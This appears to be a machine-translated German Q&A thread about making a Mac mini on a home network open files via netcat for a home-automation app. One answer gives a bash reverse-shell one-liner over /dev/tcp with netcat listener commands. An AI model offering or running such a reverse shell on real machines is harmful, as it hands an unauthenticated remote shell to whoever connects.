Verwenden Sie netcat, um einen Remote-Mac anzuweisen, eine Datei auszuführen / zu öffnen


0

Ich habe nur sehr begrenzte (fast keine) Kenntnisse darüber, wie Netcat funktioniert, es sei denn, ich habe es geschafft, dass ein Mac mini den Port 13370 abhört (mit nc -l 13370) (für TCP-Befehle?), Und ich habe ein angeschlossenes MacBook auf den Mac mini mit [nc 192.168.1.xxx 13370], und was auch immer ich im Terminal auf dem MacBook eingebe, wird auf dem Terminal des Mac mini angezeigt (Echos?).

Ich möchte den Mac mini anweisen können, eine (auch auf dem Mac mini gespeicherte) Datei von einem anderen Gerät im selben LAN zu öffnen. Derzeit verwende ich das MacBook, möchte aber letztendlich Befehle von einer von mir erstellten Hausautomations-App senden, um beispielsweise ein Video auf dem Mac mini abzuspielen, der mit einem Fernsehbildschirm verbunden ist. Oder ein anderer Befehl, den Sie normalerweise im Terminal ausführen können. Meine App kann über SSH keine Verbindung zum Mac mini herstellen. Deshalb versuche ich es auf diese Weise.

Welchen Befehl muss ich senden, um die Datei zu öffnen? Gibt es ein Format, das ich usw. verwenden sollte? Für jede Hilfe dankbar.


2
Sie können bearbeiten Ihre Frage jederzeit.
GabrielaGarcia

Was ist der Grund, warum Sie SSH nicht verwenden können? Wollen Sie damit sagen, dass Sie auf einem der Computer keinen Zugriff auf SSH haben, oder möchten Sie damit sagen, dass Ihre Anwendung nur Verbindungen über einen Port senden kann?
DKing

Die Anwendung kann keine Verbindung über SSH herstellen. Ich wurde vom Softwarehersteller angewiesen, Netcat / Telnet usw. zu verwenden. Ja, ich denke, es kann nur über einen Port kommunizieren
manaman

@manaman Ich habe ein Skript, das Netcat verwendet, um zu tun genau das , aber es ist in Batch für Windows geschrieben. Es sollte nicht länger als ein paar Minuten dauern, es zu portieren.
rahuldottech

Entwickeln Sie diese Anwendung, wie in Ihrer Frage angegeben, oder ist ein Hersteller beteiligt, wie in Ihrem Kommentar angegeben? Ich bin ein bisschen verwirrt, warum Sie es so einrichten
bertieb

Antworten:


0

Das netcat Tool ist einfach ein Netzwerkverbindungstool. Es kann jeden Port abhören und sich mit jedem Port verbinden. Es kann diese Informationen ausgeben oder sogar Daten übertragen. Es ist auch sehr nützlich. Leider werden nur Informationen abgehört und gesendet. es führt selbst keine Befehle aus. Deshalb, netcat ist nicht das Werkzeug für das, was Sie tun möchten. Gleiches gilt für Telnet.

Um Befehle auf einem Remote-Server auszuführen, benötigen Sie eine Software, die auf diesem Remote-Server ausgeführt wird und diese Befehle akzeptiert. Das zur Ausführung von Befehlen auf einem Remote-Server zu verwendende Tool ist SSH. Auf dem Empfangsserver wird der SSHD-Dämon ausgeführt. Sie könnten sich die Mühe machen, einen anderen Weg zu finden, um sich in den Server zu hacken, aber da Sie bereits Zugriff auf dieses Gerät haben, wäre das wirklich mehr Mühe, als es sich lohnt, da SSH bereits vorhanden ist.

Sie sagen, dass Ihre Anwendung keine Verbindung zu SSH herstellen kann, aber wenn sie Zugriff auf hat netcatDann würde ich empfehlen, den Zugriff zu verwenden, der für den Zugriff auf SSH vorgesehen ist, und Ihre Befehle von dort aus auszuführen.

Wenn die Art und Weise, mit der Sie sich verbinden netcat Wenn Sie einen Port abhören und Ihre Anwendung nur eine Verbindung zu diesem Port herstellen kann, möchten Sie eine Art API oder eine Software erstellen, die Anforderungen über einen Port verarbeiten und verwenden kann Sie können Befehle über SSH auf dem Terminal ausführen. Ich habe diesen Artikel mit einigen Vorschlägen dazu in BASH gefunden:

https://unix.stackexchange.com/questions/314550/anwendungsbeschreibung-zum-ausführen-wenn-a-port-mitteilung-empfängt

Sobald Sie in der Lage sind, die Anforderung in ein Shell-Skript umzusetzen, können Sie dieses Skript entweder veranlassen, Ihre Befehle direkt auszuführen, oder Sie können zusätzliche Skripts schreiben, die von der Empfangssoftware ausgelöst werden. Ich möchte, dass diese Software auf dem Client und nicht auf dem Remote-Server abhört und Sie über localhost (127.0.0.1) darauf zugreifen können. Denken Sie auch daran, einen SSH-Schlüssel hinzuzufügen, damit für Ihre Verbindung zum Remote-Server keine Kennwörter erforderlich sind. Dieser Artikel kann dabei helfen:

https://docs.joyent.com/public-cloud/getting-started/ssh-keys/generating-an-ssh-key-manual/manually-generating-your-ssh-key-in-mac-os-x


0

Sie können eine Reverse-Shell unter MacOS (auf Computer 1) wie folgt erstellen:

bash -i >& /dev/tcp/ip-address-of-computer-2/1337 0>&1

Stellen Sie dann von einem anderen Computer (Computer 2) mit einem der folgenden Netcat-Befehle eine Verbindung her (abhängig von der Implementierung):

nc -l -p 1337

oder

nc -l 1337

Jetzt können Sie Bash-Befehle auf Computer 2 eingeben, die auf dem Computer ausgeführt werden, auf dem die Remote-Shell ausgeführt wird (Computer 1).


Computer 1 sagt immer wieder "Verbindung abgelehnt", wenn ich bash -i & gt; & amp; / dev / tcp / ip-address-of-computer-2/1337 0 & amp; 1. Computer 2 IP-Adresse ist statisch und ist auch ein Mac ...
manaman

@manaman überprüfe deine Firewall, öffne Port 1337
rahuldottech

@manaman, versuchen Sie auch, die Befehle für Computer 2 auszuführen, bevor Sie die Befehle für Computer 1 ausführen
rahuldottech

0

Vielen Dank an alle für Ihre Hilfe, Ihre Hilfe hat nach langem Ausprobieren dazu beigetragen, dass ich irgendwann einen Weg gefunden habe, um das zu tun, was ich wollte. Letztendlich habe ich mich entschieden, nicht über Telnet eine Verbindung zum Mac selbst herzustellen, sondern direkt über die VLC-App, die über einen eigenen Telnet-Server auf Port 4212 verfügt. Beim Versuch, eine Telnet-Verbindung zum Mac herzustellen, wurde die Verbindung immer wieder abgelehnt, aber über VLC An Port 4212 wird eine Verbindung hergestellt, solange in VLC ein Kennwort festgelegt ist.

Das Steuern von VLC war die Hauptsache, die ich machen wollte, also bin ich damit zufrieden. Meine App ist auch in der Lage, Befehle zu senden, so wie es der Mac-Client über das Terminal tut, also alles in Ordnung. Nochmals vielen Dank an alle!

Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.